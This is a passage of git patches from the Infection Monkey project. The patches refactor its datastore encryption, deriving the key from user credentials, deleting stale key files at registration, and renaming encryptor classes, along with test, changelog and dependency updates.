+++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -9,7 +9,7 @@ from monkey_island.cc.resources.auth.credential_utils import ( get_secret_from_request, get_user_credentials_from_request, ) -from monkey_island.cc.server_utils.encryption.data_store_encryptor import setup_datastore_key +from monkey_island.cc.server_utils.encryption import remove_old_datastore_key, setup_datastore_key from monkey_island.cc.setup.mongo.database_initializer import reset_database logger = logging.getLogger(__name__) @@ -21,11 +21,11 @@ class Registration(flask_restful.Resource): return {"needs_registration": is_registration_needed} def post(self): - # TODO delete the old key here, before creating new one credentials = get_user_credentials_from_request(request) try: env_singleton.env.try_add_user(credentials) + remove_old_datastore_key() setup_datastore_key(get_secret_from_request(request)) reset_database() return make_response({"error": ""}, 200) diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 84e6e6252..531659a9e 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -9,6 +9,9 @@ from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( DataStoreEncryptor, get_datastore_encryptor, initialize_datastore_encryptor, + remove_old_datastore_key, + setup_datastore_key, + EncryptorNotInitializedError, ) from .dict_encryption.dict_encryptor import ( SensitiveField, diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index e5a054080..49d39b505 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -69,12 +69,28 @@ class EncryptorNotInitializedError(Exception): pass +def encryptor_initialized_key_not_set(f): + def inner_function(*args, **kwargs): + if _encryptor is None: + raise EncryptorNotInitializedError + else: + if not _encryptor.is_key_setup(): + return f(*args, **kwargs) + else: + pass + + return inner_function + + +@encryptor_initialized_key_not_set +def remove_old_datastore_key(): + if os.path.isfile(_encryptor.key_file_path): + os.remove(_encryptor.key_file_path) + + +@encryptor_initialized_key_not_set def setup_datastore_key(secret: str): - if _encryptor is None: - raise EncryptorNotInitializedError - else: - if not _encryptor.is_key_setup(): - _encryptor.init_key(secret) + _encryptor.init_key(secret) def get_datastore_encryptor(): diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index 22f2e9676..746054841 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -5,10 +5,13 @@ from tests.unit_tests.monkey_island.cc.conftest import ENCRYPTOR_SECRET from monkey_island.cc.server_utils.encryption import ( DataStoreEncryptor, + EncryptorNotInitializedError, + data_store_encryptor, get_datastore_encryptor, initialize_datastore_encryptor, + remove_old_datastore_key, + setup_datastore_key, ) -from monkey_island.cc.server_utils.encryption.data_store_encryptor import setup_datastore_key PLAINTEXT = "Hello, Monkey!" @@ -22,7 +25,47 @@ def test_encryption(data_for_tests_dir): assert decrypted_data == PLAINTEXT -def test_create_new_password_file(tmpdir): +@pytest.fixture +def initialized_key_dir(tmpdir): initialize_datastore_encryptor(tmpdir) setup_datastore_key(ENCRYPTOR_SECRET) + yield tmpdir + data_store_encryptor._encryptor = None + + +def test_key_creation(initialized_key_dir): + assert os.path.isfile(os.path.join(initialized_key_dir, DataStoreEncryptor._KEY_FILENAME)) + + +def test_key_removal_fails_if_key_initialized(initialized_key_dir): + remove_old_datastore_key() + assert os.path.isfile(os.path.join(initialized_key_dir, DataStoreEncryptor._KEY_FILENAME)) + + +def test_key_removal(initialized_key_dir, monkeypatch): + monkeypatch.setattr(DataStoreEncryptor, "is_key_setup", lambda _: False) + remove_old_datastore_key() + assert not os.path.isfile(os.path.join(initialized_key_dir, DataStoreEncryptor._KEY_FILENAME)) + + +def test_key_removal__no_key(tmpdir): + initialize_datastore_encryptor(tmpdir) + assert not os.path.isfile(os.path.join(tmpdir, DataStoreEncryptor._KEY_FILENAME)) + # Make sure no error thrown when we try to remove an non-existing key + remove_old_datastore_key() + + data_store_encryptor._encryptor = None + + +def test_encryptor_not_initialized(): + with pytest.raises(EncryptorNotInitializedError): + remove_old_datastore_key() + setup_datastore_key() + + +def test_setup_datastore_key(tmpdir): + initialize_datastore_encryptor(tmpdir) + assert not os.path.isfile(os.path.join(tmpdir, DataStoreEncryptor._KEY_FILENAME)) + setup_datastore_key(ENCRYPTOR_SECRET) assert os.path.isfile(os.path.join(tmpdir, DataStoreEncryptor._KEY_FILENAME)) + assert get_datastore_encryptor().is_key_setup() From e280c4fb5ac9fb76fee7ad7697633403fe42b15d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 1 Oct 2021 11:58:32 +0300 Subject: [PATCH 300/454] Move data store encryptor secret generation into the data store encryptor from credential_utils.py --- monkey/monkey_island/cc/resources/auth/auth.py | 5 ++--- .../cc/resources/auth/credential_utils.py | 5 ----- .../cc/resources/auth/registration.py | 8 +++----- .../encryption/data_store_encryptor.py | 7 ++++++- monkey/tests/data_for_tests/mongo_key.bin | Bin 327 -> 327 bytes .../unit_tests/monkey_island/cc/conftest.py | 5 +++-- .../encryption/test_data_store_encryptor.py | 6 +++--- 7 files changed, 17 insertions(+), 19 deletions(-) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index 9c1c8fc62..b6c5adb60 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -11,7 +11,6 @@ import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.resources.auth.user_store as user_store from monkey_island.cc.resources.auth.credential_utils import ( get_creds_from_request, - get_secret_from_request, password_matches_hash, ) from monkey_island.cc.server_utils.encryption.data_store_encryptor import setup_datastore_key @@ -45,14 +44,14 @@ class Authenticate(flask_restful.Resource): username, password = get_creds_from_request(request) if _credentials_match_registered_user(username, password): - setup_datastore_key(get_secret_from_request(request)) + setup_datastore_key(username, password) access_token = _create_access_token(username) return make_response({"access_token": access_token, "error": ""}, 200) else: return make_response({"error": "Invalid credentials"}, 401) -def _credentials_match_registered_user(username: str, password: str): +def _credentials_match_registered_user(username: str, password: str) -> bool: user = user_store.UserStore.username_table.get(username, None) if user and password_matches_hash(password, user.secret): diff --git a/monkey/monkey_island/cc/resources/auth/credential_utils.py b/monkey/monkey_island/cc/resources/auth/credential_utils.py index 1d7a00803..689d4cc0b 100644 --- a/monkey/monkey_island/cc/resources/auth/credential_utils.py +++ b/monkey/monkey_island/cc/resources/auth/credential_utils.py @@ -25,11 +25,6 @@ def get_user_credentials_from_request(_request) -> UserCreds: return UserCreds(username, password_hash) -def get_secret_from_request(_request) -> str: - username, password = get_creds_from_request(_request) - return f"{username}:{password}" - - def get_creds_from_request(_request: Request) -> Tuple[str, str]: cred_dict = json.loads(request.data) username = cred_dict.get("username", "") diff --git a/monkey/monkey_island/cc/resources/auth/registration.py b/monkey/monkey_island/cc/resources/auth/registration.py index e6743302f..f96a5ce82 100644 --- a/monkey/monkey_island/cc/resources/auth/registration.py +++ b/monkey/monkey_island/cc/resources/auth/registration.py @@ -5,10 +5,7 @@ from flask import make_response, request import monkey_island.cc.environment.environment_singleton as env_singleton from common.utils.exceptions import InvalidRegistrationCredentialsError, RegistrationNotNeededError -from monkey_island.cc.resources.auth.credential_utils import ( - get_secret_from_request, - get_user_credentials_from_request, -) +from monkey_island.cc.resources.auth.credential_utils import get_user_credentials_from_request from monkey_island.cc.server_utils.encryption import remove_old_datastore_key, setup_datastore_key from monkey_island.cc.setup.mongo.database_initializer import reset_database @@ -26,7 +23,8 @@ class Registration(flask_restful.Resource): try: env_singleton.env.try_add_user(credentials) remove_old_datastore_key() - setup_datastore_key(get_secret_from_request(request)) + username, password = get_user_credentials_from_request(request) + setup_datastore_key(username, password) reset_database() return make_response({"error": ""}, 200) except (InvalidRegistrationCredentialsError, RegistrationNotNeededError) as e: diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index 49d39b505..c08a9cb70 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -69,6 +69,10 @@ class EncryptorNotInitializedError(Exception): pass +def _get_secret_from_credentials(username: str, password: str) -> str: + return f"{username}:{password}" + + def encryptor_initialized_key_not_set(f): def inner_function(*args, **kwargs): if _encryptor is None: @@ -89,7 +93,8 @@ def remove_old_datastore_key(): @encryptor_initialized_key_not_set -def setup_datastore_key(secret: str): +def setup_datastore_key(username: str, password: str): + secret = _get_secret_from_credentials(username, password) _encryptor.init_key(secret) diff --git a/monkey/tests/data_for_tests/mongo_key.bin b/monkey/tests/data_for_tests/mongo_key.bin index edf082ae1b34cf2b5b99b1d7598909643aff89b3..7b49bd4dc6041141ac5c721db81475e277140970 100644 GIT binary patch delta 169 zcmV;a09OCU0>=W7rhj_z3zwx%98Yw$0#})@!*u_QNs9mqw$^9jn$Tckq ztfRp{Yv6jI^5w8(dJV53(>a=1E-`lTHRr7)uC}uLuyc|IIwC0m(UvV?$$&!CrH5@Q XlQyZyZ@{{c13p6K)|Pe{q542v#)DK8 delta 169 zcmV;a09OCU0>=W7rhhw#SABZSC@)sqvrJ zje?G4Q0WP$+75+%AT6gOX8tQ~(2cyz#_|F^kqWw85Ffrr>?7g`4>#Tle4q7M<^3z2 zaR7pM Date: Fri, 1 Oct 2021 12:34:21 +0300 Subject: [PATCH 301/454] Fix typos and rename files/classes related to data store encryptor. Change PasswordBasedBytesEncryptor interface to use bytes instead of io.BytesIO --- .../monkey_island/cc/resources/auth/auth.py | 4 +-- .../cc/resources/auth/credential_utils.py | 4 +-- .../cc/server_utils/encryption/__init__.py | 4 +-- .../encryption/data_store_encryptor.py | 25 ++++++++----------- ....py => password_based_bytes_encryption.py} | 19 +++++++------- ...py => password_based_string_encryptior.py} | 15 +++++------ 6 files changed, 32 insertions(+), 39 deletions(-) rename monkey/monkey_island/cc/server_utils/encryption/{password_based_byte_encryption.py => password_based_bytes_encryption.py} (77%) rename monkey/monkey_island/cc/server_utils/encryption/{password_based_string_encryption.py => password_based_string_encryptior.py} (58%) diff --git a/monkey/monkey_island/cc/resources/auth/auth.py b/monkey/monkey_island/cc/resources/auth/auth.py index b6c5adb60..06fcb9e07 100644 --- a/monkey/monkey_island/cc/resources/auth/auth.py +++ b/monkey/monkey_island/cc/resources/auth/auth.py @@ -10,7 +10,7 @@ from jwt import PyJWTError import monkey_island.cc.environment.environment_singleton as env_singleton import monkey_island.cc.resources.auth.user_store as user_store from monkey_island.cc.resources.auth.credential_utils import ( - get_creds_from_request, + get_credentials_from_request, password_matches_hash, ) from monkey_island.cc.server_utils.encryption.data_store_encryptor import setup_datastore_key @@ -41,7 +41,7 @@ class Authenticate(flask_restful.Resource): "password": "my_password" } """ - username, password = get_creds_from_request(request) + username, password = get_credentials_from_request(request) if _credentials_match_registered_user(username, password): setup_datastore_key(username, password) diff --git a/monkey/monkey_island/cc/resources/auth/credential_utils.py b/monkey/monkey_island/cc/resources/auth/credential_utils.py index 689d4cc0b..874906edb 100644 --- a/monkey/monkey_island/cc/resources/auth/credential_utils.py +++ b/monkey/monkey_island/cc/resources/auth/credential_utils.py @@ -19,13 +19,13 @@ def password_matches_hash(plaintext_password, password_hash): def get_user_credentials_from_request(_request) -> UserCreds: - username, password = get_creds_from_request(_request) + username, password = get_credentials_from_request(_request) password_hash = hash_password(password) return UserCreds(username, password_hash) -def get_creds_from_request(_request: Request) -> Tuple[str, str]: +def get_credentials_from_request(_request: Request) -> Tuple[str, str]: cred_dict = json.loads(request.data) username = cred_dict.get("username", "") password = cred_dict.get("password", "") diff --git a/monkey/monkey_island/cc/server_utils/encryption/__init__.py b/monkey/monkey_island/cc/server_utils/encryption/__init__.py index 531659a9e..e9c19d75e 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/__init__.py +++ b/monkey/monkey_island/cc/server_utils/encryption/__init__.py @@ -1,10 +1,10 @@ from monkey_island.cc.server_utils.encryption.i_encryptor import IEncryptor from monkey_island.cc.server_utils.encryption.key_based_encryptor import KeyBasedEncryptor -from monkey_island.cc.server_utils.encryption.password_based_string_encryption import ( +from monkey_island.cc.server_utils.encryption.password_based_string_encryptior import ( PasswordBasedStringEncryptor, is_encrypted, ) -from .password_based_byte_encryption import InvalidCredentialsError, InvalidCiphertextError +from .password_based_bytes_encryption import InvalidCredentialsError, InvalidCiphertextError from monkey_island.cc.server_utils.encryption.data_store_encryptor import ( DataStoreEncryptor, get_datastore_encryptor, diff --git a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py index c08a9cb70..624e663b4 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py +++ b/monkey/monkey_island/cc/server_utils/encryption/data_store_encryptor.py @@ -1,6 +1,5 @@ from __future__ import annotations -import io import os # PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but @@ -10,8 +9,8 @@ from typing import Union from Crypto import Random # noqa: DUO133 # nosec: B413 from monkey_island.cc.server_utils.encryption import KeyBasedEncryptor -from monkey_island.cc.server_utils.encryption.password_based_byte_encryption import ( - PasswordBasedByteEncryptor, +from monkey_island.cc.server_utils.encryption.password_based_bytes_encryption import ( + PasswordBasedBytesEncryptor, ) from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file @@ -24,7 +23,7 @@ class DataStoreEncryptor: def __init__(self, key_file_dir: str): self.key_file_path = os.path.join(key_file_dir, self._KEY_FILENAME) - self._key_base_encryptor = None + self._key_based_encryptor = None def init_key(self, secret: str): if os.path.exists(self.key_file_path): @@ -35,28 +34,24 @@ class DataStoreEncryptor: def _load_existing_key(self, secret: str): with open(self.key_file_path, "rb") as f: encrypted_key = f.read() - cipher_key = ( - PasswordBasedByteEncryptor(secret).decrypt(io.BytesIO(encrypted_key)).getvalue() - ) - self._key_base_encryptor = KeyBasedEncryptor(cipher_key) + cipher_key = PasswordBasedBytesEncryptor(secret).decrypt(encrypted_key) + self._key_based_encryptor = KeyBasedEncryptor(cipher_key) def _create_new_key(self, secret: str): cipher_key = Random.new().read(self._BLOCK_SIZE) - encrypted_key = ( - PasswordBasedByteEncryptor(secret).encrypt(io.BytesIO(cipher_key)).getvalue() - ) + encrypted_key = PasswordBasedBytesEncryptor(secret).encrypt(cipher_key) with open_new_securely_permissioned_file(self.key_file_path, "wb") as f: f.write(encrypted_key) - self._key_base_encryptor = KeyBasedEncryptor(cipher_key) + self._key_based_encryptor = KeyBasedEncryptor(cipher_key) def is_key_setup(self) -> bool: - return self._key_base_encryptor is not None + return self._key_based_encryptor is not None def enc(self, message: str): - return self._key_base_encryptor.encrypt(message) + return self._key_based_encryptor.encrypt(message) def dec(self, enc_message: str): - return self._key_base_encryptor.decrypt(enc_message) + return self._key_based_encryptor.decrypt(enc_message) def initialize_datastore_encryptor(key_file_dir: str): diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_byte_encryption.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryption.py similarity index 77% rename from monkey/monkey_island/cc/server_utils/encryption/password_based_byte_encryption.py rename to monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryption.py index 569dc0d12..2e7c05819 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/password_based_byte_encryption.py +++ b/monkey/monkey_island/cc/server_utils/encryption/password_based_bytes_encryption.py @@ -1,6 +1,5 @@ import io import logging -from io import BytesIO import pyAesCrypt @@ -17,28 +16,30 @@ logger = logging.getLogger(__name__) # Note: password != key -class PasswordBasedByteEncryptor(IEncryptor): +class PasswordBasedBytesEncryptor(IEncryptor): _BUFFER_SIZE = pyAesCrypt.crypto.bufferSizeDef def __init__(self, password: str): self.password = password - def encrypt(self, plaintext: BytesIO) -> BytesIO: + def encrypt(self, plaintext: bytes) -> bytes: ciphertext_stream = io.BytesIO() - pyAesCrypt.encryptStream(plaintext, ciphertext_stream, self.password, self._BUFFER_SIZE) + pyAesCrypt.encryptStream( + io.BytesIO(plaintext), ciphertext_stream, self.password, self._BUFFER_SIZE + ) - return ciphertext_stream + return ciphertext_stream.getvalue() - def decrypt(self, ciphertext: BytesIO) -> BytesIO: + def decrypt(self, ciphertext: bytes) -> bytes: plaintext_stream = io.BytesIO() - ciphertext_stream_len = len(ciphertext.getvalue()) + ciphertext_stream_len = len(ciphertext) try: pyAesCrypt.decryptStream( - ciphertext, + io.BytesIO(ciphertext), plaintext_stream, self.password, self._BUFFER_SIZE, @@ -51,7 +52,7 @@ class PasswordBasedByteEncryptor(IEncryptor): else: logger.info("The corrupt ciphertext provided.") raise InvalidCiphertextError - return plaintext_stream + return plaintext_stream.getvalue() class InvalidCredentialsError(Exception): diff --git a/monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryption.py b/monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryptior.py similarity index 58% rename from monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryption.py rename to monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryptior.py index ea796a441..716455a5b 100644 --- a/monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryption.py +++ b/monkey/monkey_island/cc/server_utils/encryption/password_based_string_encryptior.py @@ -1,12 +1,11 @@ import base64 -import io import logging import pyAesCrypt from monkey_island.cc.server_utils.encryption import IEncryptor -from monkey_island.cc.server_utils.encryption.password_based_byte_encryption import ( - PasswordBasedByteEncryptor, +from monkey_island.cc.server_utils.encryption.password_based_bytes_encryption import ( + PasswordBasedBytesEncryptor, ) logger = logging.getLogger(__name__) @@ -20,17 +19,15 @@ class PasswordBasedStringEncryptor(IEncryptor): self.password = password def encrypt(self, plaintext: str) -> str: - plaintext_stream = io.BytesIO(plaintext.encode()) - ciphertext = PasswordBasedByteEncryptor(self.password).encrypt(plaintext_stream) + ciphertext = PasswordBasedBytesEncryptor(self.password).encrypt(plaintext.encode()) - return base64.b64encode(ciphertext.getvalue()).decode() + return base64.b64encode(ciphertext).decode() def decrypt(self, ciphertext: str) -> str: ciphertext = base64.b64decode(ciphertext) - ciphertext_stream = io.BytesIO(ciphertext) - plaintext_stream = PasswordBasedByteEncryptor(self.password).decrypt(ciphertext_stream) - return plaintext_stream.getvalue().decode("utf-8") + plaintext_stream = PasswordBasedBytesEncryptor(self.password).decrypt(ciphertext) + return plaintext_stream.decode() def is_encrypted(ciphertext: str) -> bool: From ddae09278e1e990ad62c052c27c1d17849da4d09 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 1 Oct 2021 12:44:05 +0300 Subject: [PATCH 302/454] Refactor test_data_store_encryptor.py to use (path / to / file).isfile() syntax to check for presence of files --- .../encryption/test_data_store_encryptor.py | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py index ef4ee20d0..1a394c025 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/encryption/test_data_store_encryptor.py @@ -1,5 +1,3 @@ -import os - import pytest from tests.unit_tests.monkey_island.cc.conftest import MOCK_PASSWORD, MOCK_USERNAME @@ -34,23 +32,23 @@ def initialized_key_dir(tmpdir): def test_key_creation(initialized_key_dir): - assert os.path.isfile(os.path.join(initialized_key_dir, DataStoreEncryptor._KEY_FILENAME)) + assert (initialized_key_dir / DataStoreEncryptor._KEY_FILENAME).isfile() def test_key_removal_fails_if_key_initialized(initialized_key_dir): remove_old_datastore_key() - assert os.path.isfile(os.path.join(initialized_key_dir, DataStoreEncryptor._KEY_FILENAME)) + assert (initialized_key_dir / DataStoreEncryptor._KEY_FILENAME).isfile() def test_key_removal(initialized_key_dir, monkeypatch): monkeypatch.setattr(DataStoreEncryptor, "is_key_setup", lambda _: False) remove_old_datastore_key() - assert not os.path.isfile(os.path.join(initialized_key_dir, DataStoreEncryptor._KEY_FILENAME)) + assert not (initialized_key_dir / DataStoreEncryptor._KEY_FILENAME).isfile() def test_key_removal__no_key(tmpdir): initialize_datastore_encryptor(tmpdir) - assert not os.path.isfile(os.path.join(tmpdir, DataStoreEncryptor._KEY_FILENAME)) + assert not (tmpdir / DataStoreEncryptor._KEY_FILENAME).isfile() # Make sure no error thrown when we try to remove an non-existing key remove_old_datastore_key() @@ -65,7 +63,7 @@ def test_encryptor_not_initialized(): def test_setup_datastore_key(tmpdir): initialize_datastore_encryptor(tmpdir) - assert not os.path.isfile(os.path.join(tmpdir, DataStoreEncryptor._KEY_FILENAME)) + assert not (tmpdir / DataStoreEncryptor._KEY_FILENAME).isfile() setup_datastore_key(MOCK_USERNAME, MOCK_PASSWORD) - assert os.path.isfile(os.path.join(tmpdir, DataStoreEncryptor._KEY_FILENAME)) + assert (tmpdir / DataStoreEncryptor._KEY_FILENAME).isfile() assert get_datastore_encryptor().is_key_setup() From b2bbb62bdd5481b603e387b2865a1f1a890dd3d5 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 1 Oct 2021 12:48:08 +0300 Subject: [PATCH 303/454] Add CHANGELOG.md entry for #1463 (Encrypt the database key with user's credentials.) --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 69408a7fc..0aec3d277 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -49,6 +49,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Generate a random password when creating a new user for CommunicateAsNewUser PBA. #1434 - Credentials gathered from victim machines are no longer stored plaintext in the database. #1454 +- Encrypt the database key with user's credentials. #1463 ## [1.11.0] - 2021-08-13 From 9436f5f5e13b3d0afd41ffbeff67b93ca6cb517b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 1 Oct 2021 07:55:33 -0400 Subject: [PATCH 304/454] Island: Remove stix2 dependency --- monkey/monkey_island/Pipfile | 1 - monkey/monkey_island/Pipfile.lock | 413 +++++++++--------- .../pyinstaller_hooks/hook-stix2.py | 9 - 3 files changed, 202 insertions(+), 221 deletions(-) delete mode 100644 monkey/monkey_island/pyinstaller_hooks/hook-stix2.py diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index da0ea19d3..f57407160 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -20,7 +20,6 @@ pycryptodome = "==3.9.8" python-dateutil = "<3.0.0,>=2.1" requests = ">=2.24" ring = ">=0.7.3" -stix2 = ">=2.0.2" six = ">=1.13.0" tqdm = ">=4.47" Flask-JWT-Extended = "==4.*" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 4501a5cf5..5fbd9a39d 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "9857728597cb9daa816ac6e5cf7a86ae1c86c8e56c68d8d0551f57845124a562" + "sha256": "8d64d81ac872383366db0e261649783cc60ee03cbaf7d41ae27239bdc4300a91" }, "pipfile-spec": 6, "requires": { @@ -30,13 +30,6 @@ ], "version": "==9.0.1" }, - "antlr4-python3-runtime": { - "hashes": [ - "sha256:15793f5d0512a372b4e7d2284058ad32ce7dd27126b105fb0b2245130445db33" - ], - "markers": "python_version >= '3'", - "version": "==4.8" - }, "asyncio-throttle": { "hashes": [ "sha256:a01a56f3671e961253cf262918f3e0741e222fc50d57d981ba5c801f284eccfe" @@ -192,7 +185,7 @@ "sha256:7d73d2a99753107a36ac6b455ee49046802e59d9d076ef8e47b61499fa29afff", "sha256:e96da0d330793e2cb9485e9ddfd918d456036c7149416295932478192f4436a1" ], - "markers": "python_version >= '2.7' and python_version not in '3.0, 3.1, 3.2, 3.3, 3.4'", + "markers": "platform_system == 'Windows' and sys_platform == 'win32' and platform_system == 'Windows'", "version": "==0.4.3" }, "coloredlogs": { @@ -204,28 +197,29 @@ }, "cryptography": { "hashes": [ - "sha256:0a7dcbcd3f1913f664aca35d47c1331fce738d44ec34b7be8b9d332151b0b01e", - "sha256:1eb7bb0df6f6f583dd8e054689def236255161ebbcf62b226454ab9ec663746b", - "sha256:21ca464b3a4b8d8e86ba0ee5045e103a1fcfac3b39319727bc0fc58c09c6aff7", - "sha256:34dae04a0dce5730d8eb7894eab617d8a70d0c97da76b905de9efb7128ad7085", - "sha256:3520667fda779eb788ea00080124875be18f2d8f0848ec00733c0ec3bb8219fc", - "sha256:3c4129fc3fdc0fa8e40861b5ac0c673315b3c902bbdc05fc176764815b43dd1d", - "sha256:3fa3a7ccf96e826affdf1a0a9432be74dc73423125c8f96a909e3835a5ef194a", - "sha256:5b0fbfae7ff7febdb74b574055c7466da334a5371f253732d7e2e7525d570498", - "sha256:695104a9223a7239d155d7627ad912953b540929ef97ae0c34c7b8bf30857e89", - "sha256:8695456444f277af73a4877db9fc979849cd3ee74c198d04fc0776ebc3db52b9", - "sha256:94cc5ed4ceaefcbe5bf38c8fba6a21fc1d365bb8fb826ea1688e3370b2e24a1c", - "sha256:94fff993ee9bc1b2440d3b7243d488c6a3d9724cc2b09cdb297f6a886d040ef7", - "sha256:9965c46c674ba8cc572bc09a03f4c649292ee73e1b683adb1ce81e82e9a6a0fb", - "sha256:a00cf305f07b26c351d8d4e1af84ad7501eca8a342dedf24a7acb0e7b7406e14", - "sha256:a305600e7a6b7b855cd798e00278161b681ad6e9b7eca94c721d5f588ab212af", - "sha256:cd65b60cfe004790c795cc35f272e41a3df4631e2fb6b35aa7ac6ef2859d554e", - "sha256:d2a6e5ef66503da51d2110edf6c403dc6b494cc0082f85db12f54e9c5d4c3ec5", - "sha256:d9ec0e67a14f9d1d48dd87a2531009a9b251c02ea42851c060b25c782516ff06", - "sha256:f44d141b8c4ea5eb4dbc9b3ad992d45580c1d22bf5e24363f2fbf50c2d7ae8a7" + "sha256:07bb7fbfb5de0980590ddfc7f13081520def06dc9ed214000ad4372fb4e3c7f6", + "sha256:18d90f4711bf63e2fb21e8c8e51ed8189438e6b35a6d996201ebd98a26abbbe6", + "sha256:1ed82abf16df40a60942a8c211251ae72858b25b7421ce2497c2eb7a1cee817c", + "sha256:22a38e96118a4ce3b97509443feace1d1011d0571fae81fc3ad35f25ba3ea999", + "sha256:2d69645f535f4b2c722cfb07a8eab916265545b3475fdb34e0be2f4ee8b0b15e", + "sha256:4a2d0e0acc20ede0f06ef7aa58546eee96d2592c00f450c9acb89c5879b61992", + "sha256:54b2605e5475944e2213258e0ab8696f4f357a31371e538ef21e8d61c843c28d", + "sha256:7075b304cd567694dc692ffc9747f3e9cb393cc4aa4fb7b9f3abd6f5c4e43588", + "sha256:7b7ceeff114c31f285528ba8b390d3e9cfa2da17b56f11d366769a807f17cbaa", + "sha256:7eba2cebca600a7806b893cb1d541a6e910afa87e97acf2021a22b32da1df52d", + "sha256:928185a6d1ccdb816e883f56ebe92e975a262d31cc536429041921f8cb5a62fd", + "sha256:9933f28f70d0517686bd7de36166dda42094eac49415459d9bdf5e7df3e0086d", + "sha256:a688ebcd08250eab5bb5bca318cc05a8c66de5e4171a65ca51db6bd753ff8953", + "sha256:abb5a361d2585bb95012a19ed9b2c8f412c5d723a9836418fab7aaa0243e67d2", + "sha256:c10c797ac89c746e488d2ee92bd4abd593615694ee17b2500578b63cad6b93a8", + "sha256:ced40344e811d6abba00295ced98c01aecf0c2de39481792d87af4fa58b7b4d6", + "sha256:d57e0cdc1b44b6cdf8af1d01807db06886f10177469312fbde8f44ccbb284bc9", + "sha256:d99915d6ab265c22873f1b4d6ea5ef462ef797b4140be4c9d8b179915e0985c6", + "sha256:eb80e8a1f91e4b7ef8b33041591e6d89b2b8e122d787e87eeb2b08da71bb16ad", + "sha256:ebeddd119f526bcf323a89f853afb12e225902a24d29b55fe18dd6fcb2838a76" ], "markers": "python_version >= '3.6'", - "version": "==3.4.8" + "version": "==35.0.0" }, "docutils": { "hashes": [ @@ -276,6 +270,13 @@ "index": "pypi", "version": "==0.3.9" }, + "future": { + "hashes": [ + "sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d" + ], + "markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'", + "version": "==0.18.2" + }, "gevent": { "hashes": [ "sha256:02d1e8ca227d0ab0b7917fd7e411f9a534475e0a41fb6f434e9264b20155201a", @@ -310,59 +311,59 @@ }, "greenlet": { "hashes": [ - "sha256:04e1849c88aa56584d4a0a6e36af5ec7cc37993fdc1fda72b56aa1394a92ded3", - "sha256:05e72db813c28906cdc59bd0da7c325d9b82aa0b0543014059c34c8c4ad20e16", - "sha256:07e6d88242e09b399682b39f8dfa1e7e6eca66b305de1ff74ed9eb1a7d8e539c", - "sha256:090126004c8ab9cd0787e2acf63d79e80ab41a18f57d6448225bbfcba475034f", - "sha256:1796f2c283faab2b71c67e9b9aefb3f201fdfbee5cb55001f5ffce9125f63a45", - "sha256:2f89d74b4f423e756a018832cd7a0a571e0a31b9ca59323b77ce5f15a437629b", - "sha256:34e6675167a238bede724ee60fe0550709e95adaff6a36bcc97006c365290384", - "sha256:3e594015a2349ec6dcceda9aca29da8dc89e85b56825b7d1f138a3f6bb79dd4c", - 